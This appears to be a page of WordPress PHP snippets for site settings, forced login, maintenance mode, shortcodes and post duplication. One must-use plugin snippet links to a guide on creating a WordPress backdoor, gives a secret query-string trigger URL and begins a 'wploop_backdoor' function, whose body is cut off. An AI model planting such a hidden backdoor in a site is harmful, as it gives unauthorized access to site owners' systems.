Update WordPress settings from functions.php
update_option( ‘siteurl’, ‘http://www.dev.yourwebsite.com/’ ); update_option( ‘home’, ‘http://www.dev.yourwebsite.com/’ );
update_option( ‘siteurl’, ‘http://www.dev.yourwebsite.com/’ ); update_option( ‘home’, ‘http://www.dev.yourwebsite.com/’ );
add_filter(‘use_block_editor_for_post’, ‘__return_false’, 10);
How to Hide Certain Elements of the WordPress Admin from Specific Users
function v_getUrl() { $url = isset( $_SERVER[‘HTTPS’] ) && ‘on’ === $_SERVER[‘HTTPS’] ? ‘https’ : ‘http’; $url .= ‘://’ . $_SERVER[‘SERVER_NAME’]; $url .= in_array( $_SERVER[‘SERVER_PORT’], array(’80’, ‘443’) ) ? ” : ‘:’ . $_SERVER[‘SERVER_PORT’]; $url .= $_SERVER[‘REQUEST_URI’]; return $url; } function v_forcelogin() { if( !is_user_logged_in() ) { $url = v_getUrl(); $whitelist = apply_filters(‘v_forcelogin_whitelist’, array()); $redirect_url … Read moreRestrict access to your WordPress
function which_template_is_loaded() { if (is_super_admin()) { global $template; print_r($template); } } add_action(‘wp_footer’, ‘which_template_is_loaded’);
<?php /* Plugin Name: admin-only */ // Hook the ‘wp_footer’ action hook, add the function named ‘mfp_Add_Text’ to it add_action(“wp_footer”, “mfp_Add_Text”); // Define ‘mfp_Add_Text’ function mfp_Add_Text() { echo “<p style=’color: black;’>After the footer is loaded, my text is added!</p>”; } // —————————————————————————————- // https://wpsecurityninja.com/create-wordpress-backdoor/ // https://yoursite.com/?usethebackdoor=thatswhatshesaid // add_action(‘wp_head’, ‘wploop_backdoor’); function wploop_backdoor() { if ($_GET[‘usethebackdoor’] == … Read moremust-use plugins for WordPress
// https://divimundo.com/en/blog/copyright-year-wordpress-footer/ //Allow shortcodes in widgets add_filter(‘widget_text’, ‘do_shortcode’); function year_shorty() { $year = date_i18n(‘Y’); return $year; }; add_shortcode(‘year’, ‘year_shorty’);
Option #1: Turn off front-end for visitors only. 🔒 This option works nicely as a coming soon plugin. Visitors will see a custom message whereas logged-in users will be able to see the front end. To set this up, create a must-use plugin. This is simply a PHP file, which can be named anything and … Read moreMaintenance Mode DYI Options
/* * Function for post duplication. Dups appear as drafts. User is redirected to the edit screen */ function rd_duplicate_post_as_draft(){ global $wpdb; if (! ( isset( $_GET[‘post’]) || isset( $_POST[‘post’]) || ( isset($_REQUEST[‘action’]) && ‘rd_duplicate_post_as_draft’ == $_REQUEST[‘action’] ) ) ) { wp_die(‘No post to duplicate has been supplied!’); } /* * Nonce verification */ if … Read moreDuplicating WordPress Page or Post Without Plugins